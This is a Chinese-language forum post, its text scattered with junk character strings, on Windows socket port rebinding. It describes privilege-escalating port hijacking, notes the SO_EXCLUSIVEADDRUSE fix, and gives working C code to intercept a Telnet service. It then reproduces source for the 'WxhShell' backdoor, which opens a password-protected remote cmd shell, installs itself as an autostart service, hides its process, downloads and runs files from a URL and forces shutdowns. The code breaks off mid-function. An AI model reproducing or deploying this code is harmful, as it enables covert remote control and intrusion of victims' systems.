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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s,~p}A%0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5(+9(
\x A9:dHOmT^U saddr.sin_family = AF_INET; gk-g!v& e<.O'!=7Y saddr.sin_addr.s_addr = htonl(INADDR_ANY); reO^_q' cV|u]ce%1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CVk.Ez6 q!r4"#Y"@Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L("zS%qr 8Q wn 这意味着什么?意味着可以进行如下的攻击: #YEOY# uaiCyh1: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x JXPtm .66_g@1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dc]D 8KX ,p3moD
3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cz{5-;$9Z TmH'_t.*T~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 y,YK Mc i,3[0*ge 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J/-&Fa\( Zo12F**{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2PaRbh{" *F_ dP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nKR=/5a4Y 6/4?x)l3- #include =W*Js %4 #include }\-"L/D?+ #include w%Bo7 'o)V #include 8dBG ZwyET DWORD WINAPI ClientThread(LPVOID lpParam); +f+#W int main() <"}Gvi { Iz^lED WORD wVersionRequested; &a/F"?9jL DWORD ret; 9hNHcl. WSADATA wsaData; D
on8xk BOOL val; >sfH[b SOCKADDR_IN saddr; zfexaf! SOCKADDR_IN scaddr;
AhNy+p{ int err; C=y[WsT SOCKET s; X~#jx(0_ SOCKET sc; EId_1F;V^ int caddsize; OS.oknzZZ HANDLE mt; zA<Hj;9SM DWORD tid; <D1>;C wVersionRequested = MAKEWORD( 2, 2 ); O]/BNacS err = WSAStartup( wVersionRequested, &wsaData ); rB<za I\V if ( err != 0 ) { N.l\2S} printf("error!WSAStartup failed!\n"); 5VLJ:I?0O return -1; u` j9m@` } 8B|qNf `Yi saddr.sin_family = AF_INET; sy
s6 V? "c'K8,+? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MT?;9ZV} eHt |O~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); --t5jSS44 saddr.sin_port = htons(23); .3Ag6YI0N if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z:e|~# { @C=Dk printf("error!socket failed!\n"); `g~T #U\>d return -1; vT&xM } W/?\ 8AE val = TRUE; k`u:Cz#aB //SO_REUSEADDR选项就是可以实现端口重绑定的 X
(0`"rjg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O!
t>
@%) { =ghN)[AZV printf("error!setsockopt failed!\n"); *pOdM0AE return -1; z4UJo!{S } 'u)zQAaw. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ar!`8" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7^3a296 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E7c!KJ2 SFaG`T= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GQR|t?:t { ~Wox"h}( ret=GetLastError(); FFvF4]|L printf("error!bind failed!\n"); QL{ ^ return -1; BB)(#yoi } 7YLG<G!v)] listen(s,2); KK|AXoBf while(1) XoO#{7a { "T?hIX/p_ caddsize = sizeof(scaddr); c-ud $0)c //接受连接请求 $
M8ZF(W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8rXQK|A if(sc!=INVALID_SOCKET) @h91: hb { u]!ZW& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yH:gFEJ:x if(mt==NULL) !-OPzfHrI { 'Drz6K_KrP printf("Thread Creat Failed!\n"); kM>Bk\ break; {)c2#h } SD=kpf; } Js706 CloseHandle(mt); [*jvvkAp } hh$V[/iK closesocket(s); M|l`2Hpe WSACleanup(); W-ctx"9DS return 0; k>ERU]7[ } Te :4z@? DWORD WINAPI ClientThread(LPVOID lpParam) L]_1z { 1lf5xm. SOCKET ss = (SOCKET)lpParam; 10C,\ SOCKET sc; vp#A D9h1 unsigned char buf[4096]; Fhr5)Z SOCKADDR_IN saddr; G5R"5d' long num; :hA=(iz DWORD val; zt23on2 DWORD ret; oU`J~6.&S //如果是隐藏端口应用的话,可以在此处加一些判断 l^ Q-KUI //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 o(w xu) saddr.sin_family = AF_INET; /Mg$t6vM saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h\@\*Xz<v saddr.sin_port = htons(23); /%P|<[<
[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z%t"~r0PS {
D ^Cpgha printf("error!socket failed!\n"); {okx*]PIc return -1; ?f{--|V } , '_y@9?I val = 100; Xc!0'P0T if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R}S@u@mOE { MzWVsV ret = GetLastError(); 7v8V0Gp return -1; ?df*Y5I2 } G';yb^DB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X5V8w4NN { X:ck ret = GetLastError(); eMDO;q return -1; 5ml#/kE } YaWZOuxm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )nI}K QJ< { W>*9T? printf("error!socket connect failed!\n"); YH
5jvvOI closesocket(sc); 1%R8q=_ closesocket(ss); n&4 4Acs[ return -1; *T+Bjj;w } ^Qx
qv while(1) ."u-5r<O { &:3uK` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZYi."^l //如果是嗅探内容的话,可以再此处进行内容分析和记录 ev$\Ns^g$3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XlPi)3m4/S num = recv(ss,buf,4096,0); ^^O @ [_ if(num>0) p#yq 'kY send(sc,buf,num,0); L93PDp4v else if(num==0) 3kc.U break; ]rpU3 3 num = recv(sc,buf,4096,0); R;6$lO8C& if(num>0) m4=[e! send(ss,buf,num,0);
dkr[B'n else if(num==0) 8H%-/2NW break; p,)~w1| } Hw(_l,Xf closesocket(ss); Ui^~A closesocket(sc); =F B[<% return 0 ; l[_y|W5 } m#^ua^JV f<$>?o&y 5vfzSJ ========================================================== !sJ*0 ) Ekd 下边附上一个代码,,WXhSHELL !P_8D*^9 h.~:UR* ========================================================== Zs$Qo->F
x+=Ko #include "stdafx.h" \E!a=cL! 9ozK}Cg4 #include <stdio.h> 4=Wtv/
3 #include <string.h> =`1#fQDt #include <windows.h> 08+cNT #include <winsock2.h> "IjCuR;# #include <winsvc.h> %YH+=b:uW #include <urlmon.h> npj_i /&g tJ_6dH8Y #pragma comment (lib, "Ws2_32.lib") <hS %I #pragma comment (lib, "urlmon.lib") +bGj(T%+' R?/!7 #define MAX_USER 100 // 最大客户端连接数 vZ
rE9C } #define BUF_SOCK 200 // sock buffer ?3#W7sF #define KEY_BUFF 255 // 输入 buffer
[b=l'e/ c6;326aDq #define REBOOT 0 // 重启 rmzM}T\20 #define SHUTDOWN 1 // 关机 Ub(8ko:8$ nQ$4W #define DEF_PORT 5000 // 监听端口 4Z&i\#Q ~)ecQ #define REG_LEN 16 // 注册表键长度 HZG^o^o1l+ #define SVC_LEN 80 // NT服务名长度 dv_& ei m$bX;F}T // 从dll定义API |2YkZ nJn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sM4Qu./ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {1<XOp#b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #lf3$Tm D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w6PKr^ J#```cB // wxhshell配置信息 G<5i %@ struct WSCFG { |9Gng`) int ws_port; // 监听端口 &V$qIvN$ char ws_passstr[REG_LEN]; // 口令 N y\c>$z int ws_autoins; // 安装标记, 1=yes 0=no {x-iBg9#l2 char ws_regname[REG_LEN]; // 注册表键名 D)]U+Qk char ws_svcname[REG_LEN]; // 服务名 (Ov{gj^ char ws_svcdisp[SVC_LEN]; // 服务显示名 gG 9e.++: char ws_svcdesc[SVC_LEN]; // 服务描述信息 %X--`91|u char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5Oa`1?C1 int ws_downexe; // 下载执行标记, 1=yes 0=no NB["U"1[^E char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" RW?F{Jy{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tU5Z?QS |<Cz#|
,q }; 3k#?E]' <;O-N= // default Wxhshell configuration 9i&(VzY[= struct WSCFG wscfg={DEF_PORT, HB>&}z0 "xuhuanlingzhe", udEJo~u 1, wc&`/'<p "Wxhshell", M;96Wm "Wxhshell", rzR=% > "WxhShell Service", C9,|G7~*q "Wrsky Windows CmdShell Service", (O$PJLI "Please Input Your Password: ", J$]-)`[G& 1, XL`*Tbx " http://www.wrsky.com/wxhshell.exe", 4P>[]~S "Wxhshell.exe" ]\qbe
}; Eeumi#$Z 2/T4.[`t // 消息定义模块 FnoE\2}9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H/rJ:3 char *msg_ws_prompt="\n\r? for help\n\r#>"; @1`!}.Tk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ^AI5SjOUx char *msg_ws_ext="\n\rExit."; ];3]/b)& char *msg_ws_end="\n\rQuit."; 56|o6-a^ char *msg_ws_boot="\n\rReboot..."; ^PNE6 char *msg_ws_poff="\n\rShutdown..."; xg|\\i char *msg_ws_down="\n\rSave to "; Y<x;-8)* s_/a1o char *msg_ws_err="\n\rErr!"; ]uikE2nn char *msg_ws_ok="\n\rOK!"; jHU5>Gt-} ja<!_^h=At char ExeFile[MAX_PATH]; \!+#9sq0 int nUser = 0; NSsLuM=. HANDLE handles[MAX_USER]; ~36)3W[4 int OsIsNt; K;,_P5J% P,QI-, SERVICE_STATUS serviceStatus; "vH>xBR[% SERVICE_STATUS_HANDLE hServiceStatusHandle; tK|jh pX\Y:hCug // 函数声明 FLb
Q#c\ int Install(void); 1TOT}h5 int Uninstall(void); ||}k99y + int DownloadFile(char *sURL, SOCKET wsh); 3pV^Oe^9 int Boot(int flag); o_(@v2G` void HideProc(void); {\SJr: int GetOsVer(void); +9tm9<F8 int Wxhshell(SOCKET wsl); &=KNKE` void TalkWithClient(void *cs); U= Gw( int CmdShell(SOCKET sock);
MeP,8,n' int StartFromService(void); ".Z1CBM( int StartWxhshell(LPSTR lpCmdLine); <kmH^viX hxXl0egI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KKCzq
| VOID WINAPI NTServiceHandler( DWORD fdwControl ); {mkD{2)KQ dR^7d _! // 数据结构和表定义 }.L\O]~{ SERVICE_TABLE_ENTRY DispatchTable[] = pPa3byWf { G1X${x7 {wscfg.ws_svcname, NTServiceMain}, !"G|y4O {NULL, NULL} VbwB<nQl }; 1-h"1UN2E e[>c>F^ // 自我安装 *(?tf{ int Install(void) 6JCq?:#ab { %6%QE'D char svExeFile[MAX_PATH]; y3,'1^lA HKEY key; ^L,Uz:[J strcpy(svExeFile,ExeFile); 0m,3''Q5lO RRasX;zK // 如果是win9x系统,修改注册表设为自启动 0sQt+_Dl%L if(!OsIsNt) { S260h,(, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;RElG>#$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w[/_ o,R RegCloseKey(key); 2fa1jl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .8v[ss6: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6AA"JX RegCloseKey(key); ++d%D9*V< return 0; g5\EVcHkz } wqZ*$M } :Sd"~\N+ } q#6K'=AC else { Os5Xejh`I |})7\o // 如果是NT以上系统,安装为系统服务 ~vL`[JiK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3SeM:OYq]s if (schSCManager!=0) dw"Tv~ { I?z*.yA* SC_HANDLE schService = CreateService GY3g`M
( ZQVr]/W^r schSCManager, )J"*[[e wscfg.ws_svcname, >$g+Gx\v4 wscfg.ws_svcdisp, |)4aIa SERVICE_ALL_ACCESS, RyN}Gz/YN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FUD
M]:XQ SERVICE_AUTO_START, vhEXtjL SERVICE_ERROR_NORMAL, Q!T+Jc9N svExeFile, &|LP>'H; NULL, v5/2-<6x NULL, "Q[rM1R NULL, u> @Yoyc NULL, KiaQ^[/q NULL [8Yoz1(smA ); z5UY0>+VdS if (schService!=0) g?mfpw Zj { s (hJ * CloseServiceHandle(schService); '1Z3MjX CloseServiceHandle(schSCManager); #\{j/{VZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G'dN_6ho3 strcat(svExeFile,wscfg.ws_svcname); c:@lR/oe" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8etNS~^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^p2_p9 RegCloseKey(key); 1pDL()t return 0; v!~ ;QO } G(*7hs } S+LS!b CloseServiceHandle(schSCManager); O^_$cq } fPj*qi } 9?6]Zag W,53|9b@ return 1; Wb;x
eG } k/`WfSM\. |#Q4e51H // 自我卸载 Vi5&%/Y int Uninstall(void) #A@d;U% { FL /395 <: HKEY key; ,5 ylrE Tg-HR8}X if(!OsIsNt) { ^gu; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >~vZ+YO RegDeleteValue(key,wscfg.ws_regname); tw*n+{]hi RegCloseKey(key); Cbq|<p# #o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z4ZR]eD RegDeleteValue(key,wscfg.ws_regname); pn._u`xMV RegCloseKey(key); E979qKl return 0; $YPQi. } x392uS$# } <:YD.zAh| } G^6\ OOSy else { D$vP&7pOr4 fN-y8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XVRtfo if (schSCManager!=0) V1
:aR3*! { 1f/8XxTB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W4ygJL7 6 if (schService!=0) b~L8m4L { ss4<s
5:y if(DeleteService(schService)!=0) { jwW6m@+ CloseServiceHandle(schService);
L>PPAI CloseServiceHandle(schSCManager); LL}b]B[ return 0; M,WC+")Z= } l}aJRG6U CloseServiceHandle(schService); re%MT@L# } 4or8fG CloseServiceHandle(schSCManager); .%3qzOrN } OZc.Rtgc } [h=[@jiB Q*c |!<
&e return 1; M .J } .o_?n.H'& /`x)B(b // 从指定url下载文件 sO;]l"{< int DownloadFile(char *sURL, SOCKET wsh) }8\"oA6 { M%#H>X\/ HRESULT hr; |TE\ ] char seps[]= "/"; 6Y-sc*5 char *token; SaA9)s char *file; LqOjVQxz char myURL[MAX_PATH]; rjJ-ZRs\ char myFILE[MAX_PATH]; <zdo%~ba P?Fm<s: strcpy(myURL,sURL); s(3iGuT token=strtok(myURL,seps); /EXubU73 while(token!=NULL) {W5D) { l*0`{R file=token; A>OGU ^ token=strtok(NULL,seps); %J
'RO } \NN5'DBx |AS`MsbI9 GetCurrentDirectory(MAX_PATH,myFILE); "p[FFg strcat(myFILE, "\\"); 320g!r strcat(myFILE, file); ?->&)oAh send(wsh,myFILE,strlen(myFILE),0); VdfV5" send(wsh,"...",3,0); 5%Xny8
]|D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (qky&}H if(hr==S_OK) r!,/~~mT return 0; $>M A else 3~uWrZ.u return 1; GA.4'W^&a O:>9yZhV } x.:k0;%Q R{hq1- // 系统电源模块 |!=KLJUA int Boot(int flag) Ov5*&*P { U if61)+!i HANDLE hToken; Q x]zz4jD TOKEN_PRIVILEGES tkp; dreEe s`| 6?X)' if(OsIsNt) { ue~?xmZg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Jjgy;*hM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N!hS`< } tkp.PrivilegeCount = 1; G;CB%qXI tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F]"Hs> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lbg^ 2|o~~ if(flag==REBOOT) { V.8pxD5s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mn;Wqb/ return 0; ,aLdW,<6 } 0k7kmDW else { ~=pAy>oV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #!n"),3 return 0; + mqz)-x } 5{@Hpj/B } xr<.r4 else { df$VC if(flag==REBOOT) { 01-n_ $b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nnm9pnx return 0; (fYrb#]!y } a=!I(50 else { i7RW8* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R
Wd#)3 return 0; J|Xu]fg0 } \B<A.,i4 } .eSMI!Y= nU6WT | return 1; <X{hW^??) } f/VrenZ_ NIQX?|;b{ // win9x进程隐藏模块 YyZ>w2_MTi void HideProc(void) 3X,SCG { =?, dX o9Z!Z^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NP {O if ( hKernel != NULL ) mu!hD^fw { xlH?J;$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q[}[w! to ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hR] AUH FreeLibrary(hKernel); 8O)!{gB } -5Km9X8 .$k2.-k return; m R? } gR } nO d'$q DsY$ // 获取操作系统版本 #n[1%8l, int GetOsVer(void) Yp_R+a^ { 9b0M'x'W5 OSVERSIONINFO winfo; M_4:~&N$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $2M dxw5 GetVersionEx(&winfo); 5G-}'-R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zJp@\Yo+ return 1; A|D]e)/6+B else \*_@`1m return 0; 4G%!t`?q } ~<%/)d0 -C7IUat< // 客户端句柄模块 t!g9,xG<X int Wxhshell(SOCKET wsl) Px>Gc:!> { bwm?\l.A SOCKET wsh; 6#JdQ[IP6 struct sockaddr_in client; wM^_pah#Y5 DWORD myID; X2MQa:yksP MWHGB")J while(nUser<MAX_USER) nA\9UD<G. { 4l2xhx int nSize=sizeof(client); es` A< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n tfwR#j if(wsh==INVALID_SOCKET) return 1; Tu'/XUs;k XQ{G) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UI*^$7z1 + if(handles[nUser]==0)
1Ugyjjlz closesocket(wsh); 4RH'GnLa else eDm~B(G$ nUser++; Z(8'ki } ^vPt Ppt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _PPW9US{ sh6F-g return 0; 9P3jx)K } MBbycI, CZ/bO#~ // 关闭 socket T/_JXK>W void CloseIt(SOCKET wsh) )m-l&UK { >t/P^fr_F closesocket(wsh); DiB~Ovh| nUser--; z_dorDF8`> ExitThread(0); s{- `y`JP } aN.t) DG}J 5K;vdwSB // 客户端请求句柄 L29,Y=n@ void TalkWithClient(void *cs) Vs1j9P|G { [\M=w7 2>.2H SOCKET wsh=(SOCKET)cs; OZF^w[ `w char pwd[SVC_LEN]; zs@#.OEH char cmd[KEY_BUFF]; 9q2 >_Mv char chr[1]; UH<nc;.B int i,j; J{gqm 4DVkycM while (nUser < MAX_USER) { ZwLD7j*) 0.}Um if(wscfg.ws_passstr) { Ufz& 2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LiyEF&_u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {QTrH-C //ZeroMemory(pwd,KEY_BUFF); *nB fF{y i=0; &=sVq^d@qe while(i<SVC_LEN) { s<I[)FQVr XIu3n9g^# // 设置超时 o@`&
h}
$ fd_set FdRead; [mSK!Y@u struct timeval TimeOut; ^KU:5Bn FD_ZERO(&FdRead); i>9/vwe FD_SET(wsh,&FdRead); o|7]8K= TimeOut.tv_sec=8; rAdYBr=0 TimeOut.tv_usec=0; }LH>0v_<Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); web=AQ5I4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jb' hqz p%A(5DE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 62B` Z5j# pwd =chr[0]; Phsdn`, if(chr[0]==0xd || chr[0]==0xa) { 5q`d=L, pwd=0; O jkbv break; X51 7PT8O } ^@
GE1 i++; e&C(IEZ/N; } kU8V,5 4]N`pD5 // 如果是非法用户,关闭 socket 2kTLj2@o, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AW8" @ } /3*75 x@F"ZiYD@O send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G
1{F_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8k$iz@e ,Ty>sZ#/fz while(1) { )*@Oz D<[4}og&] ZeroMemory(cmd,KEY_BUFF); \A\a=A[ xo0",i
f8 // 自动支持客户端 telnet标准 ,.`";='o j=0; b;&J2:` while(j<KEY_BUFF) { <^&NA<2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {m9OgR5U cmd[j]=chr[0]; 4q)eNcs if(chr[0]==0xa || chr[0]==0xd) { 9$,?Grw~ cmd[j]=0; 1\7SiQ- break; "D7*en }
;p"G<n j++; Z8$@}|jN } H#8]Lb@@: 4A%O`&eZ // 下载文件 ,jyNV<dI if(strstr(cmd,"http://")) { tr2@{xb send(wsh,msg_ws_down,strlen(msg_ws_down),0); M:W9h+z if(DownloadFile(cmd,wsh)) t_&FK A send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;m}lmq, else vN%zk(?T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n
5NkjhP~Z } )<
~1AL else { OGNjn9av Cw]Q)rX{ switch(cmd[0]) { E9 QA<w \%9,<-~[ // 帮助 @b2{'#9]} case '?': { ^3QHB1I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +/q%29-k break; od|w)?16 } TL+a_]3@ // 安装 EI2V<v case 'i': { t#kR@t+6$\ if(Install()) ?Zu=UVb send(wsh,msg_ws_err,strlen(msg_ws_err),0); XpWqL9s_E else VAc-RaA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g% :Q86u break; GmN} +( } FqiCzP4 // 卸载 -san%H' case 'r': { 7t\W{y if(Uninstall()) h\KQ{-Bl send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5tR<aIf else 6a PZW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3|RfX break; )Y@ } ^;GJ7y&,d // 显示 wxhshell 所在路径 ecA[ case 'p': { FsZF>vaV char svExeFile[MAX_PATH]; ^r^cMksB* strcpy(svExeFile,"\n\r"); zbP0! strcat(svExeFile,ExeFile); HE+y1f] send(wsh,svExeFile,strlen(svExeFile),0); ,U2
/J break; %"j<` } pL>Q'{7s3 // 重启 xfqgK D> case 'b': { N(Us 9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5xP\6Nx6&5 if(Boot(REBOOT)) M)6_Tal send(wsh,msg_ws_err,strlen(msg_ws_err),0); UaCEh?D+Y else { wFpt#_fS closesocket(wsh); c+#GX)zh\G ExitThread(0); Z=DAA+T` } 2}1(j break; c]F$$BT } r ,|T@|{ // 关机 qev1bBW case 'd': { <iiu% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tR!eY t if(Boot(SHUTDOWN)) :*#AJV) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|(J<H else { GDP@M)~6* closesocket(wsh); 1=OXi!G ExitThread(0); _S/bwPj|~y } "ji4xy break; E=GCq=Uw } JAen=%2b // 获取shell 0)-l9V case 's': { Zse3e CmdShell(wsh); b&~rZ closesocket(wsh); K
4I ?1 ExitThread(0); $I~=t{;"XV break; Lp20{R } ~R7rIP8Wr // 退出 Lie\3W case 'x': { <WtX>
\]l( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cnC&=6=a< CloseIt(wsh); iN5~@8jAzz break; cC1nC76[ } Qs8iu`' // 离开 5 |{0|mP case 'q': { 3D+>NB send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6T&6N0y+9 closesocket(wsh); s#?Y^bgH WSACleanup(); #Qc[W +% exit(1); &G5+bUF, break; )7c\wAs } Q<P],}?: } ]3xnq< } fXvJ3w( TLl*gED // 提示信息 )-#% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aePhtQF } %JBp~" } {_|~G|Z /"tVOv# return; $}2m%$vJO } o5mt7/5[i lyfLkBF // shell模块句柄 -4Zf0r1u int CmdShell(SOCKET sock) :,y V?E6] { q0jzng STARTUPINFO si; 6GMQgTY^ ZeroMemory(&si,sizeof(si)); CspY+%3$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V/$qD si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8V`r*:\ PROCESS_INFORMATION ProcessInfo; i*..]!7e char cmdline[]="cmd"; z<ptrH CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5R?iTB1, return 0; l~AmHw
e } ,*?bET
$ 7&/iuP$. // 自身启动模式 7=u\D int StartFromService(void) LR]P? { /@lXQM9T typedef struct ]zmY]5 { G#@o6r DWORD ExitStatus; v)!Rir5 DWORD PebBaseAddress; nORm7sa9 DWORD AffinityMask; XB UO DWORD BasePriority; M/:kh,3 ULONG UniqueProcessId; {6~v oVkj ULONG InheritedFromUniqueProcessId; F'*y2FC } PROCESS_BASIC_INFORMATION; Tf
Q(f? 25t2tj@S PROCNTQSIP NtQueryInformationProcess; ?W1(
